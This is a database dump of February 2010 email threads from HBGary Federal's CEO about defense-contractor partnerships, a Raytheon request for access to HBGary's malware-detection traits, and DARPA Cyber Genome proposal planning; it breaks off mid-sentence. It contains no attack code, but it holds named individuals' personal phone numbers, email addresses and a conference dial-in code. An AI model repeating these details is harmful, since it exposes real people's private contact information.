threat intelligence product reports.In the future a report like this but much more comprehensive would be one of the products we would offer to improve our understanding of the threats, current and future. &nbsp;After all, if you knew well the threats today and their potential evolution, protection would not be a difficult issue, but we don\'t so we keep trying to build a taller, wider wall.So I can provide better intelligence on threats today given my companies capabilities and our direct partners, Palantir, Fidelis, End Games. &nbsp;In the future we will have a larger integrated capability developed through my work with Xetron. &nbsp;What we aim to deliver, and what this report represents is a comprehensive analysis of all the aspects of the threat, not just one or a few. &nbsp;The more factors you have enumerated the better you are able to track the threat as it evolves. &nbsp;No other report takes this approach today, they are typically focused on only one or a few of the factors.I particularly want to highlight HBGary and Fidelis. &nbsp;We have some very exciting conversations about the integration of our products. &nbsp;HBGary is the only company with a behavior/trait based capability for detecting malware. &nbsp;Every Aurora based malware we have analyzed we identified as malware without making any modifications to our database, which means we are able to detect zero day APT threats, but we are host based. &nbsp;Fidelis brings us in-line network protection based on rulesets, content. &nbsp;We pass them malware alerts on zero days and they protect it from entering and data leaving, all in near real-time automatically.AaronOn Feb 15, 2010, at 9:39 AM, Shows, Bob (IS) wrote:Used a ‘sent’ email below; this should work better!&nbsp;Robert \'Bob\' Shows&nbsp;USAF Account Team NGIS/DSDNorthrop Grumman Corporation&nbsp;310.210.2549From:&nbsp;Shows, Bob (IS)&nbsp;Sent:&nbsp;Monday, February 15, 2010 8:36 AMTo:&nbsp;Shows, Bob (IS)Cc:&nbsp;Edwards, Michael (CORP)Subject:&nbsp;RE: 624th Ops Center--Next Steps&nbsp;Aaron,&nbsp;Weather and travel really de-railed my schedule last week.&nbsp; I&nbsp; will catch-up with you this week.&nbsp;I reviewed the Aurora brochure—a very sophisticated presentation.&nbsp; Please help me understand how this will be used?&nbsp; Was it an assessment specified for a specific organization?&nbsp;&nbsp;Hopefully Mike will be able to assist as we expand our relationship with the 24th&nbsp;NAF and 624th&nbsp;Operations Center—he’s still grieving over your departure from NGC!&nbsp;Best of the day,&nbsp;Robert \'Bob\' Shows&nbsp;USAF Account Team NGIS/DSDNorthrop Grumman Corporation&nbsp;310.210.2549From:&nbsp;Shows, Bob (IS)&nbsp;Sent:&nbsp;Tuesday, February 09, 2010 9:44 AMTo:&nbsp;Aaron BarrSubject:&nbsp;RE: 624th Ops Center--Next Steps&nbsp;Aaron,&nbsp;No word back from Vickie—so I take that as a “no”.&nbsp;&nbsp; That’s fine since we can get to many consultants on our own. &nbsp;Gen (Ret) Tom Hobbins is back onboard with NGC—he brings a lot.&nbsp; &nbsp;I’ll catch-up with you Wed or Thurs to work next steps. &nbsp;&nbsp;Let me know if one timeframe is better than another to call. &nbsp;&nbsp;Cheers,&nbsp;Robert \'Bob\' Shows&nbsp;USAF Account Team NGIS/DSDNorthrop Grumman Corporation&nbsp;310.210.2549From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, February 08, 2010 10:17 PMTo:&nbsp;Shows, Bob (IS)Subject:&nbsp;Re: 624th Ops Center--Next StepsImportance:&nbsp;High&nbsp;Hi Bob,&nbsp;Just checking in to see any status on this effort.&nbsp;Aaron&nbsp;On Jan 29, 2010, at 5:46 PM, Shows, Bob (IS) wrote:&nbsp;Aaron,&nbsp;I spoke at length with Vickie Michaels of CyberSpace Operations Consulting, LLC.&nbsp; Fundamentally her company is interested, but wants NGC to pay her company upfront to consultant in bringing this business case together.&nbsp; I conveyed that was not going to work, but if she could get her boss to sign the NDA, I would work with her to see how they might fit.&nbsp;Of note, she wasn’t interested in investing 2-4 hours of her own time just tighten the shot pattern on this effort.&nbsp; We left it with her going to see her boss and present the case (for which she did not seem overly enthusiastic)—we’ll see.&nbsp;&nbsp;As I mentioned, CSOC would be nice to have on this team, but not essential.&nbsp; We have Tom Hobbins, Bob Hinson, Tim Peppe, Jim Hale, Mike Edwards, and others that you know to assist with senior customer interface.&nbsp;&nbsp;Until we hear from Vickie, not sure we should plan to rendezvous in San Antonio—I’ll stay on top of this and keep you in-the-loop.&nbsp;Also, Jim Hale has some things in the work that he believes will be of interest to you.&nbsp; He’ll be in touch soon. &nbsp;&nbsp;Jim \'Torch\' Hale(719) 238-0763 (mobile)&nbsp;Aaron Barr(719) 510-8478 (mobile)(301) 652-8885 x117&nbsp;&nbsp;Best regards,&nbsp;Robert \'Bob\' Shows&nbsp;USAF Account Team NGIS/DSDNorthrop Grumman Corporation&nbsp;310.210.2549&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5185,'aaron_hbgary_com/5185.html'),(2641,'2010-02-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001224.M960742P3547Q2641.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Fwd: Raytheon R&D with HBGary Support','Can u guys give me some context. &nbsp;So Shane calls me (he used to be in TASC, one of the orgs in NG that I worked in, so he knows me).So Shane calls me and tells me one of the things he has been hearing is that we have a lot of false positive and he thinks he has some guys or a guy and an approach to helping to improve our accuracy. &nbsp;he would really like to get the \"secret sauce\" to our genome to help out and would like to discuss jointly developing this as well as joint IP rights, etc. &nbsp;I am starting to see a trend. &nbsp;This is the third large company in 2 weeks that has asked to get access to the \"secret sauce\" and they can help mature it. hmmmm....I am guessing I am saying the right thing here, but want to make sure with you guys. &nbsp;We are not interested in joint IP, however very willing to talk about approaching pursuits together.Rich I told shane we will set up a webex to discuss their approach, I would like to get your take on it if possible.AaronBegin forwarded message:From: Shane Powell &lt;Shane_Powell@raytheon.com&gt;Date: February 15, 2010 11:32:30 AM ESTTo: aaron@hbgary.comSubject: Raytheon R&amp;D with HBGary SupportAaron,\r\n\r\nYour call today was greatly appreciated.\r\n\r\nI believe we have the right mix of engineers\r\nin house here at Largo to implement the approach I described, and are at\r\nthe point where we need to land IRAD or CRAD dollars to develop the solution.\r\n\r\nPlease let me know when a convenient\r\ntime to hold a telecon will be, and I\r\nwill pull Ricardo Rodriguez in to discuss the technical approach in greater\r\ndetail.\r\n\r\nWhile the ONR and SPAWAR BAA\'s and IRAD proposals\r\nare ready for release in the near term, I hope to kick this proposal out\r\nthrough avenues to other agencies as well.Thanks,\r\nShane Powell, CISSP-ISSEP\r\nPrincipal Multi-Discipline Engineer\r\nCyber Defense Systems\r\nRaytheon Network Centric Systems\r\n\r\n727.302.4873 office\r\n813.528.6614 cell \r\nshane_powell@raytheon.com\r\n\r\n\r\n&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7207,'aaron_hbgary_com/7207.html'),(2642,'2010-02-15','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001225.M151418P3547Q2642.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Raytheon R&D with HBGary Support','Aaron,\r\n \r\nWe&#39;ve spoken with Shane off and on since October.  He has ideas around using artificial intelligence to enhance detection.  He recommended the book &quot;On Intelligence&quot; by Jeff Harkins who has theories of how the brain pulls together associations for predictive ability. Shane&#39;s buddy has s/w to rapidly search through associations for predictive ability.  So he has ideas around using HBGary&#39;s DDNA indicators as input.  He says he has IRAD  money available. I told him we would be willing to talk.  Keep in mind he has never seen a demo or had an eval of our software.  So far it has been all talk and no promises from our side.\r\n\r\n \r\nBob\r\nOn Mon, Feb 15, 2010 at 12:07 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nCan u guys give me some context.  So Shane calls me (he used to be in TASC, one of the orgs in NG that I worked in, so he knows me). \r\n\r\nSo Shane calls me and tells me one of the things he has been hearing is that we have a lot of false positive and he thinks he has some guys or a guy and an approach to helping to improve our accuracy.  he would really like to get the &quot;secret sauce&quot; to our genome to help out and would like to discuss jointly developing this as well as joint IP rights, etc.  I am starting to see a trend.  This is the third large company in 2 weeks that has asked to get access to the &quot;secret sauce&quot; and they can help mature it. hmmmm....\r\n\r\n\r\nI am guessing I am saying the right thing here, but want to make sure with you guys.  We are not interested in joint IP, however very willing to talk about approaching pursuits together.\r\n\r\nRich I told shane we will set up a webex to discuss their approach, I would like to get your take on it if possible.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\nFrom: Shane Powell &lt;Shane_Powell@raytheon.com&gt;\r\n\r\nDate: February 15, 2010 11:32:30 AM EST\r\n\r\nTo: aaron@hbgary.com\r\n\r\nSubject: Raytheon R&amp;D with HBGary Support\r\nAaron, Your call today was greatly appreciated. I believe we have the right mix of engineers in house here at Largo to implement the approach I described, and are at the point where we need to land IRAD or CRAD dollars to develop the solution. \r\nPlease let me know when a convenient time to hold a telecon will be, and I will pull Ricardo Rodriguez in to discuss the technical approach in greater detail. \r\nWhile the ONR and SPAWAR BAA&#39;s and IRAD proposals are ready for release in the near term, I hope to kick this proposal out through avenues to other agencies as well. \r\nThanks, \r\nShane Powell, CISSP-ISSEPPrincipal Multi-Discipline EngineerCyber Defense SystemsRaytheon Network Centric Systems727.302.4873 office\r\n813.528.6614 cell shane_powell@raytheon.com \r\n \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',655,'aaron_hbgary_com/655.html'),(2643,'2010-02-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001225.M358465P3547Q2643.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Raytheon R&D with HBGary Support','Cool. &nbsp;OK well worth setting up a technical discussion.Thanks,AaronOn Feb 15, 2010, at 12:16 PM, Bob Slapnik wrote:Aaron,\r\n&nbsp;\r\nWe\'ve spoken with Shane off and on since October.&nbsp; He has ideas around using artificial intelligence to enhance detection.&nbsp; He recommended the book \"On Intelligence\" by Jeff Harkins who has&nbsp;theories of how the brain pulls together associations for predictive ability.&nbsp;Shane\'s buddy has s/w to rapidly search through associations for predictive ability.&nbsp; So he has ideas around using HBGary\'s DDNA indicators as input.&nbsp; He says he has IRAD&nbsp; money available. I told him we would be willing to talk.&nbsp; Keep in mind he has never seen a demo or had an eval of our software.&nbsp; So far it has been all talk and no promises from our side.\r\n\r\n&nbsp;\r\nBob\r\nOn Mon, Feb 15, 2010 at 12:07 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nCan u guys give me some context. &nbsp;So Shane calls me (he used to be in TASC, one of the orgs in NG that I worked in, so he knows me). \r\n\r\nSo Shane calls me and tells me one of the things he has been hearing is that we have a lot of false positive and he thinks he has some guys or a guy and an approach to helping to improve our accuracy. &nbsp;he would really like to get the \"secret sauce\" to our genome to help out and would like to discuss jointly developing this as well as joint IP rights, etc. &nbsp;I am starting to see a trend. &nbsp;This is the third large company in 2 weeks that has asked to get access to the \"secret sauce\" and they can help mature it. hmmmm....\r\n\r\n\r\nI am guessing I am saying the right thing here, but want to make sure with you guys. &nbsp;We are not interested in joint IP, however very willing to talk about approaching pursuits together.\r\n\r\nRich I told shane we will set up a webex to discuss their approach, I would like to get your take on it if possible.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\nFrom: Shane Powell &lt;Shane_Powell@raytheon.com&gt;\r\n\r\nDate: February 15, 2010 11:32:30 AM EST\r\n\r\nTo: aaron@hbgary.com\r\n\r\nSubject: Raytheon R&amp;D with HBGary Support\r\nAaron, Your call today was greatly appreciated. I believe we have the right mix of engineers in house here at Largo to implement the approach I described, and are at the point where we need to land IRAD or CRAD dollars to develop the solution. \r\nPlease let me know when a convenient time to hold a telecon will be, and I will pull Ricardo Rodriguez in to discuss the technical approach in greater detail. \r\nWhile the ONR and SPAWAR BAA\'s and IRAD proposals are ready for release in the near term, I hope to kick this proposal out through avenues to other agencies as well.Thanks, Shane Powell, CISSP-ISSEPPrincipal Multi-Discipline EngineerCyber Defense SystemsRaytheon Network Centric Systems727.302.4873 office\r\n813.528.6614 cell shane_powell@raytheon.com \r\n&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',835,'aaron_hbgary_com/835.html'),(2644,'2010-02-15','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001225.M546253P3547Q2644.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Raytheon R&D with HBGary Support','He told me he didn&#39;t need our IP, just the list of traits.  We show traits in the DDNA s/w, but I haven&#39;t seen anywhere that we list out the whole set of traits.  I told him that before we could open the kimono there would have to be a business case that made sense.\r\n\r\n \r\nOn Mon, Feb 15, 2010 at 12:19 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nCool.  OK well worth setting up a technical discussion. \r\n\r\nThanks,\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 15, 2010, at 12:16 PM, Bob Slapnik wrote:\r\n\r\nAaron,\r\n \r\nWe&#39;ve spoken with Shane off and on since October.  He has ideas around using artificial intelligence to enhance detection.  He recommended the book &quot;On Intelligence&quot; by Jeff Harkins who has theories of how the brain pulls together associations for predictive ability. Shane&#39;s buddy has s/w to rapidly search through associations for predictive ability.  So he has ideas around using HBGary&#39;s DDNA indicators as input.  He says he has IRAD  money available. I told him we would be willing to talk.  Keep in mind he has never seen a demo or had an eval of our software.  So far it has been all talk and no promises from our side.\r\n\r\n \r\nBob\r\nOn Mon, Feb 15, 2010 at 12:07 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nCan u guys give me some context.  So Shane calls me (he used to be in TASC, one of the orgs in NG that I worked in, so he knows me). \r\n\r\nSo Shane calls me and tells me one of the things he has been hearing is that we have a lot of false positive and he thinks he has some guys or a guy and an approach to helping to improve our accuracy.  he would really like to get the &quot;secret sauce&quot; to our genome to help out and would like to discuss jointly developing this as well as joint IP rights, etc.  I am starting to see a trend.  This is the third large company in 2 weeks that has asked to get access to the &quot;secret sauce&quot; and they can help mature it. hmmmm....\r\n\r\n\r\nI am guessing I am saying the right thing here, but want to make sure with you guys.  We are not interested in joint IP, however very willing to talk about approaching pursuits together.\r\n\r\nRich I told shane we will set up a webex to discuss their approach, I would like to get your take on it if possible.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\nFrom: Shane Powell &lt;Shane_Powell@raytheon.com&gt;\r\n\r\nDate: February 15, 2010 11:32:30 AM EST\r\n\r\nTo: aaron@hbgary.com\r\n\r\nSubject: Raytheon R&amp;D with HBGary Support\r\nAaron, Your call today was greatly appreciated. I believe we have the right mix of engineers in house here at Largo to implement the approach I described, and are at the point where we need to land IRAD or CRAD dollars to develop the solution. \r\nPlease let me know when a convenient time to hold a telecon will be, and I will pull Ricardo Rodriguez in to discuss the technical approach in greater detail. \r\nWhile the ONR and SPAWAR BAA&#39;s and IRAD proposals are ready for release in the near term, I hope to kick this proposal out through avenues to other agencies as well. \r\nThanks, \r\nShane Powell, CISSP-ISSEPPrincipal Multi-Discipline EngineerCyber Defense SystemsRaytheon Network Centric Systems727.302.4873 office\r\n813.528.6614 cell shane_powell@raytheon.com \r\n \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',14917,'aaron_hbgary_com/14917.html'),(2645,'2010-02-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001225.M874183P3547Q2645.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Raytheon R&D with HBGary Support','he said the same thing but followed it by what he would really like to get for better development is to get access to the inter-workings of how the trait analysis happens. &nbsp;Suuuurrreee... &nbsp;anyway, I will set up a next call for a technical discussion.AaronOn Feb 15, 2010, at 12:24 PM, Bob Slapnik wrote:He told me he didn\'t need our IP, just the list of traits.&nbsp; We show traits in the DDNA s/w, but I haven\'t seen anywhere that we list out the whole set of traits.&nbsp; I told him that before we could open the kimono there would have to be a business case that made sense.\r\n\r\n&nbsp;\r\nOn Mon, Feb 15, 2010 at 12:19 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nCool. &nbsp;OK well worth setting up a technical discussion. \r\n\r\nThanks,\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 15, 2010, at 12:16 PM, Bob Slapnik wrote:\r\n\r\nAaron,\r\n&nbsp;\r\nWe\'ve spoken with Shane off and on since October.&nbsp; He has ideas around using artificial intelligence to enhance detection.&nbsp; He recommended the book \"On Intelligence\" by Jeff Harkins who has&nbsp;theories of how the brain pulls together associations for predictive ability.&nbsp;Shane\'s buddy has s/w to rapidly search through associations for predictive ability.&nbsp; So he has ideas around using HBGary\'s DDNA indicators as input.&nbsp; He says he has IRAD&nbsp; money available. I told him we would be willing to talk.&nbsp; Keep in mind he has never seen a demo or had an eval of our software.&nbsp; So far it has been all talk and no promises from our side.\r\n\r\n&nbsp;\r\nBob\r\nOn Mon, Feb 15, 2010 at 12:07 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nCan u guys give me some context. &nbsp;So Shane calls me (he used to be in TASC, one of the orgs in NG that I worked in, so he knows me). \r\n\r\nSo Shane calls me and tells me one of the things he has been hearing is that we have a lot of false positive and he thinks he has some guys or a guy and an approach to helping to improve our accuracy. &nbsp;he would really like to get the \"secret sauce\" to our genome to help out and would like to discuss jointly developing this as well as joint IP rights, etc. &nbsp;I am starting to see a trend. &nbsp;This is the third large company in 2 weeks that has asked to get access to the \"secret sauce\" and they can help mature it. hmmmm....\r\n\r\n\r\nI am guessing I am saying the right thing here, but want to make sure with you guys. &nbsp;We are not interested in joint IP, however very willing to talk about approaching pursuits together.\r\n\r\nRich I told shane we will set up a webex to discuss their approach, I would like to get your take on it if possible.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\nFrom: Shane Powell &lt;Shane_Powell@raytheon.com&gt;\r\n\r\nDate: February 15, 2010 11:32:30 AM EST\r\n\r\nTo: aaron@hbgary.com\r\n\r\nSubject: Raytheon R&amp;D with HBGary Support\r\nAaron, Your call today was greatly appreciated. I believe we have the right mix of engineers in house here at Largo to implement the approach I described, and are at the point where we need to land IRAD or CRAD dollars to develop the solution. \r\nPlease let me know when a convenient time to hold a telecon will be, and I will pull Ricardo Rodriguez in to discuss the technical approach in greater detail. \r\nWhile the ONR and SPAWAR BAA\'s and IRAD proposals are ready for release in the near term, I hope to kick this proposal out through avenues to other agencies as well.Thanks, Shane Powell, CISSP-ISSEPPrincipal Multi-Discipline EngineerCyber Defense SystemsRaytheon Network Centric Systems727.302.4873 office\r\n813.528.6614 cell shane_powell@raytheon.com \r\n&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9000,'aaron_hbgary_com/9000.html'),(2646,'2010-02-15','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001226.M352411P3547Q2647.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI&#8217;ve updated the invite to 3 PM Eastern.&nbsp; I think we just need an\r\nhour of Greg&#8217;s time.\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 15, 2010 11:32 AM\r\nTo: Starr, Christopher H.\r\nSubject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber\r\nGenome BAA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n3 or 5pm is good. &nbsp;I don\'t think I cam get Greg all day\r\nthough. &nbsp;I think we can have a productive meeting though. &nbsp;We can get\r\nhim in on the next one. &nbsp;I have a 2pm mtg so this will give me some more\r\nroom thanks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 15, 2010, at 11:22 AM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nHow about 3 pm or 5 pm today?\r\n\r\nChris\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt; \r\nTo: Starr, Christopher H. \r\nSent: Mon Feb 15 11:05:31 2010\r\nSubject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber\r\nGenome BAA \r\n\r\n\r\n\r\n\r\n\r\nI will be on the phone at 230. &nbsp;Greg won\'t be able to\r\nmake it.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 15, 2010, at 10:01 AM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nAre you and Greg available at 2:30 pm today?\r\n\r\nThe dial in will be\r\n866-765-5631, code 5057292#\r\n\r\nChris\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt; \r\nTo: Starr, Christopher H. \r\nSent: Mon Feb 15 09:53:23 2010\r\nSubject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber\r\nGenome BAA \r\n\r\n\r\n\r\n\r\n\r\nChris,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhat time did we agree upon today?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 12, 2010, at 4:46 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nMy last meeting is running late. I will call as soon as I can, but this may be\r\ncloser to 6:00 pm.\r\n\r\nWhat is your schedule like for a follow up technical interchange meeting on\r\nMonday? Would 2:30 PM work?\r\n\r\nChris\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt; \r\nTo: Starr, Christopher H. \r\nSent: Fri Feb 12 14:57:44 2010\r\nSubject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber\r\nGenome BAA \r\n\r\n\r\n\r\n\r\n\r\n5pm works.\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 12, 2010, at 2:41 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nCan we talk at 5 pm? If I am available earlier I will call your cell phone.\r\n\r\nChris\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt; \r\nTo: Starr, Christopher H. \r\nSent: Fri Feb 12 14:07:50 2010\r\nSubject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber\r\nGenome BAA \r\n\r\n\r\n\r\n\r\n\r\nGot a sec I can call?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 12, 2010, at 12:51 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nJust got your message.&nbsp; We will be having our telecon to discuss our own\r\ninternal ideas and we can bring you in for the Monday follow up.&nbsp; If you\r\ncan dial in, we will be on, but I understand you may not be able to dial in\r\ntoday.\r\n\r\nChris\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Fri Feb 12 12:44:57 2010\r\nSubject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome\r\nBAA\r\n\r\nChris my wife is stuck in a snow bank and I have to go get her and the\r\nkids.&nbsp; Is it alright to postpone until Monday?\r\n\r\nAaron\r\n\r\n&nbsp;From my iPhone\r\n\r\nOn Feb 12, 2010, at 2:07 AM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com\r\n&nbsp;&gt; wrote:\r\n\r\n&gt; &lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8572,'aaron_hbgary_com/8572.html'),(2647,'2010-02-15','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001226.M86612P3547Q2646.eml','\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,\"Harbison, Michael J.\" <Michael.Harbison@gd-ais.com>,\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,\"Raygoza, Daniel\" <Daniel.Raygoza@gd-ais.com>,\"Bojaxhi, Hermes\" <Hermes.Bojaxhi@gd-ais.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Wenthold, Russell L.\" <russ.wenthold@gd-ais.com>,\"Aaron Barr (HBGary)\" <aaron@hbgary.com>,\"Ted Vera (HBGary)\" <ted@hbgary.com>,\"Bob Slapnik (HBGary)\" <bob@hbgary.com>,\"Greg Hoglund (HBGary)\" <greg@hbgary.com>,\"Rich Cummings (HBGary)\" <rich@hbgary.com>,\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>','UPDATE: GD/HBGary: technical interchange: RE: DARPA Cyber Genome BAA','\r\n\r\n\r\n\r\n\r\nUPDATE: GD/HBGary: technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\n\r\n\r\n\r\nWhen: Monday, February 15, 2010 3:00 PM-4:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, code 5057292#\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nUPDATE: Start time moved to 3 PM Eastern.\r\n\r\nGD &amp; HBGary: technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\n866-765-5631, code 5057292#\r\n\r\n\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Technical interchange between HBGary and GD on innovative technical ideas for the DARPA Cyber Genome BAA\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; We will also touch on\r\n\r\no&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GD / HBGary teaming approach\r\n\r\n&#167;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Who primes what\r\n\r\n&#167;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Templates for establishing teaming agreements\r\n\r\no&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Customer and competitive intelligence\r\n\r\n\r\n\r\nQuestions? Contact:\r\n\r\nChris Starr, 571-216-6140, Chris.Starr@gd-ais.com\r\n\r\n\r\n\r\n\r\n',1076,'aaron_hbgary_com/1076.html'),(2648,'2010-02-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001228.M519169P3547Q2648.eml','\"Greg Hoglund\" <greg@hbgary.com>','Fwd: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA','Any chance you can support GD meeting.\r\n\r\nHere are some thoughts I am running with for now.\r\n\r\n1.1.3.1  Technical Area One: Cyber Genetics \r\nThis technical area will identify the lineage and provenance of digital artifacts from the properties and behavior of the digital artifacts.  Performers will develop automated technologies to gain a revolutionary understanding of the relationships between the elements of a set of artifacts, or to place artifacts into performer-defined categories. \r\n\r\nExamples of revolutionary technologies include but are not limited to:\r\n\r\nCreation of lineage trees for a class of digital artifacts to gain a better understanding of software evolution.\r\nIdentification and categorization of new variants of previously seen digital artifacts to reduce the threat of new “zero-day” attacks that are variants of previously seen attacks. \r\nDetermination or characterization of digital artifact developers or development environments to aid in software and/or malware attribution.\r\n  \r\nUse a DNA/Gene/Molecule/Protein model to categorize and catalog software based on functions and behavior.  This fits a biological model.\r\n\r\nCatalog of software functions and behavior.  Different capabilities are developed over time, code is re-used.  Enumerate as much of the software internal characteristics and observable behaviors, associations with other software, libraries.\r\n\r\nCategorize based on 